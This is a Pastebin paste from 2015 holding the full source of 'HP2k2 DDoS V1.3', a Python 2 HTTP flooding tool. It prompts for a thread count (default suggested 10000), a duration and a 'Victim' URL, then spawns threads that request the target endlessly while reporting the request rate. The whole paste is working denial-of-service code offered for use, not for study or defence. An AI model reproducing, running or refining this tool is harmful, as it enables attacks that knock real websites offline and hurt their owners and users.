Advertisement
Guest User

đa

a guest
Nov 29th, 2015
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. # Embedded file name: C:\Users\Giorgio\Desktop\a.py
  2. import urllib, os, threading, time, sys
  3. print '\n ###################################\n'
  4. print ' 01010o.....::HP2k2 DDoS V1.3::.....o01010\n'
  5. print ' #################################################'
  6. print
  7. print '\t DDos Tool for HTTP site, Coded by HP2k2\n'
  8. if os.name in ('nt', 'dos', 'ce'):
  9. os.system('title ........::::: HP2k2 DDoS V1.3 :::::........')
  10. os.system('color a')
  11. Close = False
  12. Lock = threading.Lock()
  13. Request = 0
  14. Tot_req = 0
  15.  
  16. class Spammer(threading.Thread):
  17.  
  18. def __init__(self, url, number):
  19. threading.Thread.__init__(self)
  20. self.url = url
  21. self.num = number
  22.  
  23. def run(self):
  24. global Lock
  25. global Tot_req
  26. global Close
  27. global Request
  28. Lock.acquire()
  29. print 'Starting thread #{0}'.format(self.num)
  30. Lock.release()
  31. while Close == False:
  32. try:
  33. urllib.urlopen(self.url)
  34. Request += 1
  35. Tot_req += 1
  36. except:
  37. pass
  38.  
  39. Lock.acquire()
  40. print 'Closing thread #{0}'.format(self.num)
  41. Lock.release()
  42. sys.exit(0)
  43.  
  44.  
  45. if __name__ == '__main__':
  46. try:
  47. num_threads = input('> So luong dap(10000): ')
  48. t_tot = input('> Time(2): ')
  49. except:
  50. t_tot = 2
  51.  
  52. timer = t_tot * 60
  53. t_tot = t_tot * 60
  54. while True:
  55. url = raw_input('> Victim: ')
  56. try:
  57. urllib.urlopen(url)
  58. except IOError:
  59. print 'Could not open specified url.'
  60. else:
  61. break
  62.  
  63. for i in xrange(num_threads):
  64. Spammer(url, i + 1).start()
  65.  
  66. time.sleep(2)
  67. print '#######################################################################'
  68. print '\n> Bot Are Loaded Sucessfully.'
  69. print '\n> HP2k2 is working hard. . .\n'
  70. while timer > 0:
  71. time.sleep(10)
  72. print '> HP2k2 @ ' + str(Request / 10.0) + ' Requests/s\tTotal Request: #' + str(Tot_req) + '\tTime left:', timer, 's'
  73. Request = 0
  74. timer -= 10
  75.  
  76. print '\n> Average @ ' + str(Tot_req / t_tot) + ' Requests/s'
  77. print '\n#######################################################################\n'
  78. raw_input('> HP2k2 is still working, now you can press enter to shutting down threads.')
  79. time.sleep(1)
  80. Close = True
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement